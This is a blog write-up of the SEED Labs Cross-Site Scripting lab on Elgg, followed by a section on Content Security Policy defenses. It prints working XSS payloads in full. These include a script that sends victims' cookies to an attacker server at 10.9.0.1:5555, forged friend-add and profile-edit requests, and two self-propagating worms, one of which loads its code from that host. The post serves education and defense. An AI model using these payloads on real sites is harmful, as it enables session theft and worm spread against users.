Cross-Site Scripting

Ifeanyi Ukadike · August 4, 2023

xss

Cross-site scripting (XSS) is a security vulnerability that allows attackers to inject malicious codes into web pages. XSS is introduced when a web application fails to properly sanitize user input before including it in dynamically generated web content. This means that when regular users visit the affected website, their browsers unintentionally run the injected code, which can lead to different harmful activities.

There are different types of XSS attacks, including:

  • Reflected XSS: This type of XSS occurs when malicious code is injected into a website and then reflected back to the user. This usually occurs through a malicious link containing the injected code.

  • Stored XSS: This type of XSS occurs when malicious code is permanently stored on a web server and then served to users whenever they access a specific page or resource.

XSS poses a serious threat to web applications as it can allow attackers to steal sensitive information, manipulate users experiences, and perform unauthorized actions. To prevent XSS vulnerabilities, web developers need to properly sanitize input gotten from users, encode all content gotten from the user, and implement security measures such as the Content Security Policy (CSP), which specifies what content can be executed on a website.

SeedLabs: Cross-Site Scripting Attack Lab (Elgg)


Posting a Malicious Message to Display an Alert Window

For the purpose of this task, I assume the user, Samy.

The purpose of this task is to embed a JavaScript program in my profile page so that when other users view my profile, the JavaScript program will run and an alert window will be displayed.

To accomplish this, I embed the following code in my profile page: <script>alert('XSS');</script>

task-1-a

After saving the changes made to my profile page, once anyone attempts to view Samy’s profile, the script will run. This is true whether the user is logged in or not.

task-1-b


Posting a Malicious Message to Display Cookies

For the purpose of this task, I assume the user, Samy.

The purpose of this task is to embed a JavaScript program in my profile page so that when other users view my profile, the user’s cookies will be displayed in an alert window.

To accomplish this, I embed the following code in my profile page: <script>alert(document.cookie);</script>

task-2-a

After saving the changes made to my profile page, once anyone attempts to view Samy’s profile, the script will run. This is true whether the user is logged in or not.

task-2-b


Stealing Cookies from the Victim’s Machine

The cookies being reflected to the user have no benefit for the attacker. What the attacker would want is to somehow get the JavaScript code to send the cookies to himself or herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker with the cookies appended to the request.

To accomplish this:

  • I set up a server waiting for a connection from the malicious Javascript.

  python3 -m http.server -b 10.9.0.1 5555

  • I set up malicious Javascript code that contacts the server with a GET request and the user’s cookie as the data of the GET request.

    <script>
      document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' width=1px height=1px' + ' >');
    </script>
    

task-3-a

After saving the changes made to my profile page, once anyone attempts to view Samy’s profile, the script will run. This is true whether the user is logged in or not.

task-3-b


Becoming the Victim’s Friend

In 2005, Samy performed an XSS attack on Myspace that added him as a friend to any other user that visited his page. The purpose of this task is to try and replicate what Samy did.

For anyone that visits Samy’s page to automatically add him as a friend, the JavaScript code has to forge the HTTP requests directly from the victim’s browser. Thus, it is important to find out how the website crafts friend requests so we know what needs to be sent to the server for the attack to be successful.

This can be accomplished by Samy adding another user as a friend and observing the request the browser makes.

To accomplish this task of becoming the victim’s friend, I embedded the following code in Samy’s profile page:

<script type="text/javascript">
    window.onload = function () {
        var Ajax=null;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        //Construct the HTTP request to add Samy as a friend.
        var sendurl="http://www.seed-server.com/action/friends/add?friend=59&" + ts + token
        //Create and send Ajax request to add friend
        Ajax=new XMLHttpRequest();
        Ajax.open("GET", sendurl, true);
        Ajax.send();
    }
</script>

task-4-a

After saving the changes made to my profile page, once anyone views Samy’s profile, the script runs, and they add Samy as their friend.

task-4-b

task-4-c

It is important that the text field where the code is placed is free from any form of formatting. This means always using HTML mode rather than visual editor as the visual editor introduces formatting that voids the code, as seen below.

task-4-d


Modifying the Victim’s Profile

In 2005, Samy also performed an XSS attack on Myspace that modified a user’s profile when the user visited his page. The purpose of this task is to try and replicate what Samy did.

For any page that visits Samy’s page to be automatically modified, the JavaScript code has to forge the HTTP requests directly from the victim’s browser. Thus, it is important to find out how the website crafts legitimate edit requests so we know what needs to be sent to the server for the attack to be successful.

This can be accomplished by Samy making modifications to his profile page and observing the request the browser makes.

To accomplish this task of modifying the victim’s profile, I embedded the following code in Samy’s profile page:

<script type="text/javascript">
    window.onload = function(){
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    //Construct the content of your url.
    var content=token + ts + "&description=Samy is my hero" + 
    "&accesslevel[description]=2" + guid;
    var samyGuid=59;
    var sendurl="http://www.seed-server.com/action/profile/edit";
    if(elgg.session.user.guid!=samyGuid){
        //Create and send Ajax request to modify profile
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");
        Ajax.send(content);
        }
    }
</script>

task-5-a

After saving the changes made to my profile page, once anyone viewed Samy’s profile, the script would run and edit their profile page.

task-5-b

task-5-c

It is important that an if statement is present in the code to make sure that the code does not run on Samy’s page. If the code runs on Samy’s page, the code will overwrite the malicious Javascript code initially saved on Samy’s profile page, as seen below.

task-5-d


Writing a Self-Propagating XSS Worm

In 2005, the Samy worm on Myspace not only modified users profiles when they viewed his profile, but the worm copied itself to their profiles, further infecting other users who viewed the newly infected profiles. This is a self-propagating cross-site scripting worm. The purpose of this task is to try and replicate what Samy did.

Link Approach: To accomplish self-propagation via the link approach, I save the below javascript code on a remote server.

window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;

//Construct the content of your url.
var wormCode = encodeURIComponent("<script type=\"text/javascript\" src=\"http://10.9.0.1:5555/xss_worm.js\"></script>");
var content = token + ts + "&description=Samy is my hero" + wormCode + 
"&accesslevel[description]=2" + guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid) {
    //Create and send Ajax request to modify profile
    var Ajax=null;
    Ajax=new XMLHttpRequest();
    Ajax.open("POST", sendurl, true);
    Ajax.setRequestHeader("Content-Type",
    "application/x-www-form-urlencoded");
    Ajax.send(content);
    }
}

Then I embed the following code in my profile page: <script type="text/javascript" src="http://10.9.0.1:5555/xss_worm.js"></script>

task-6-a

After saving the changes made to my profile page, once anyone viewed Samy’s profile, the script would run, edit their profile page, and propagate to any other user that viewed the infected page.

task-6-b

task-6-c

task-6-d

DOM Approach: If the entire JavaScript worm is embedded in the infected profile, the worm can use the DOM APIs to retrieve a copy of itself from the web page and replicate. To accomplish self-propagation via the DOM approach, I saved the below javascript code in my profile page.

<script type="text/javascript" id="worm">
    window.onload = function(){
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    // Construct contents for DOM
    var headerTag = "<script type=\"text/javascript\" id=\"worm\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    
    // Construct the content of your url.
    var desc = "&description=Samy is my hero" + wormCode + "&accesslevel[description]=2";
    var content = token + ts + desc + guid;
    var samyGuid=59;
    var sendurl="http://www.seed-server.com/action/profile/edit";
    if(elgg.session.user.guid!=samyGuid){
        //Create and send Ajax request to modify profile
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");
        Ajax.send(content);
        }
    }
</script>

task-7-a

After saving the changes made to my profile page, once anyone view Samy’s profile, the script would run, edit their profile page and propagate to any user that views the infected page.

task-7-b

task-7-c


Defeating XSS Attacks Using CSP

XSS vulnerability arises because Javascript code and HTML code are mixed together, so the web browser does not know whether the Javascript code is malicious or not. Javascript is usually introduced into HTLM either as a link or inline. So for us to battle XSS, we can make use of CSP (Content Security Policy). CSP helps defeat XSS by specifying what types of content (not just Javascript code) can be loaded and executed on a website.

Based on security requirements, certain directives can be used to restrict specific sources. Some common directives include:

  • default-src: this directive defines the default source for all resource types that are not explicitly mentioned in other directives.

  • script-src: this directive defines the allowed sources from which scripts can be loaded or executed.

  • style-src: this directive defines the allowed sources for CSS stylesheets.

  • font-src: this directive defines the allowed sources for web fonts.

  • img-src: this directive defines the allowed sources for images.

  • connect-src: this directive defines the allowed sources for XHR (Ajax) requests.

  • frame-src: this directive defines the allowed sources for frames or iframes.

The purpose of this task is to observe CSP in action and understand how it works.

The webpage for the experiment is shown below:

<html>
<h2 >CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. Inline: No Nonce: <span id='area3'>Failed</span></p>
<p>4. Linked from self: <span id='area4'>Failed</span></p>
<p>5. Linked from www.example60.com: <span id='area5'>Failed</span></p>
<p>6. Linked from www.example70.com: <span id='area6'>Failed</span></p>
<p>7. From button click:
<button onclick="alert('JS Code executed!')">Click me</button></p>

<!-- Inline Javascript with nonce -->
<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>

<!-- Inline Javascript with nonce -->
<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>

<!-- Inline Javascript without nonce -->
<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>

<!-- Linked Javascript hosted on same server/site -->
<script src="script_area4.js"> </script>

<!-- Linked Javascript hosted on an external server/site -->
<script src="http://www.example60.com/script_area5.js"> </script>

<!-- Linked Javascript hosted on an external server/site -->
<script src="http://www.example70.com/script_area6.js"> </script>

</html>

CSP is set by the web server as an HTTP header either by the web server or by the web application. This experiment utilizes both approaches. This experimet also makes use of three websites to test CSP.

  • www.example32a.com : CSP policies are not set by the web server nor by the web application

  • www.example32b.com : CSP policies set by the web server

  • www.example32c.com : CSP policies set by the web application

The CSP configuration file for the experiment is shown below:

# Purpose: Do not set CSP policies (www.example32a.com)
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration (www.example32b.com)
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
              default-src 'self'; \
              script-src 'self' *.example70.com "
</VirtualHost>

# Purpose: Setting CSP policies in web applications (www.example32c.com)
    <VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>

and below is the content of phpindex.php

<?php
  $cspheader = "Content-Security-Policy:".
                "default-src 'self';".
                "script-src 'self' 'nonce-111-111-111' *.example70.com".
                "";
  header($cspheader);
?>

<?php include 'index.html';?>

With everything in place, it’s now time to visit the three websites and document my observations.

When visiting www.example32a.com, it is observed that all the javascript code on the webpage (both inline javascript and linked javascript) is executed.

task-8-a


When visiting www.example32b.com, the following are observed:

  • looking at the CSP configuration file, we can see that only two (2) sources are set. This means that only resources that come from those two (2) sources will be allowed to load and run.

  • the two sources are www.example32b.com and *.example70.com. Thus, when the page loads, only the linked javascript code that originates from www.example32b.com and *.example70.com is executed. All other Javascript code (both inline and linked) fails to execute.

task-8-b


When visiting www.example32c.com, the following are observed:

  • looking at the CSP config in phpindex.php, we can see that only two (2) sources are set. This means that only resources that come from those two (2) sources will be allowed to load and run. However, in addition to these two sources, a nonce value is included. This nonce value is responsible for inline Javascript code. Any inline Javascript code that does not have a nonce value that is the same as the nonce value defined in the CSP configuration will fail to execute.

  • the two sources are www.example32c.com and *.example70.com. Thus, when the page loads, only the linked javascript code that originates from www.example32b.com, the linked javascript code that originates from *.example70.com and the inline javascript code with the correct nonce are executed. All other Javascript code (both inline and linked) fails to execute.

task-8-c


Now, say we want the javascript code in areas 5 and 6 to run on www.example32b.com, we need to make some changes to the CSP configuration file that will allow linked javascript that originated from *.example60.com to load.

Looking at the CSP configuration file, we can see that only two sources (www.example32b.com and *.example70.com) are set. To enable the javascript code in area 5 run, we need to add the source *.example60.com to the configuration file. The modified section of the configuration file is shown below:

  # Purpose: Setting CSP policies in Apache configuration (www.example32b.com)
  <VirtualHost *:80>
      DocumentRoot /var/www/csp
      ServerName www.example32b.com
      DirectoryIndex index.html
      Header set Content-Security-Policy " \
                default-src 'self'; \
                script-src 'self' *.example70.com *.example60.com "
  </VirtualHost>

Now, there are three (3) sources: www.example32c.com, *.example70.com, and *.example60.com. Thus, when the page loads, only the linked javascript code that originates from www.example32b.com, *.example70.com, and *.example60.com is executed. All other Javascript code (both inline and linked) fails to execute.

task-8-d


Now, say we want the javascript code in areas 1, 2, 4, 5 and 6 to run on www.example32c.com, we need to make some changes to the CSP configuration file that will allow the following:

  • linked javascript that originated from *.example60.com to load

  • inline javascript with nonce 111-111-111 to load

  • inline javascript with nonce 222-222-222 to load

Looking at the CSP configuration in phpindex.php, we can see that only two sources (www.example32c.com and *.example70.com) are set. In addition to these two sources, the nonce value 111-111-111 is included.

  • To enable the javascript code in area 5 to run, we need to add the source *.example60.com to the configuration.

  • To enable the javascript code in area 2 to run, we need to add the nonce 222-222-222 to the configuration.

The modified section of the configuration file is shown below:

<?php
  $cspheader = "Content-Security-Policy:".
                "default-src 'self';".
                "script-src 'self' 'nonce-111-111-111' *.example70.com ".
                "'nonce-222-222-222' *.example60.com".
                "";
  header($cspheader);
?>

<?php include 'index.html';?>

Now, there are three (3) sources: www.example32c.com, *.example70.com, and *.example60.com. Thus, when the page loads, the linked javascript code that originates from www.example32b.com, *.example70.com, and *.example60.com is executed. So also, the inline Javascript code with the correct nonce is executed. All other Javascript code (both inline and linked) fails to execute.

task-8-e


In conclusion, CSP can help prevent Cross-Site Scripting attacks through the following mechanics:

  • When CSP is set, the web browser does not need to know whether the Javascript code is malicious or not. It relies on the defined directives to determine if the Javascript code should be executed or not.

  • If an attacker injects malicious Javascript code into a webpage, this becomes inline Javascript code. Remember, with CSP, a correct nonce must be supplied with the inline Javascript code. This means that for the web browser to run the attacker’s code, the attacker has to guess the correct nonce and include it in the malicious code. (That is, if the webserver even allows inline Javascript.)

  • The second option would be for the attacker to save the malicious Javascript code on the allowed server in the CSP config. However, how can the attacker access such a server? Getting into such a server will be no easy task, so the attacker might just quit while at it.

Summarily, CSP blocks attempts by attackers to inject harmful code into websites, ensuring that such websites remain safe for users.


Thanks for reading.

Twitter, Facebook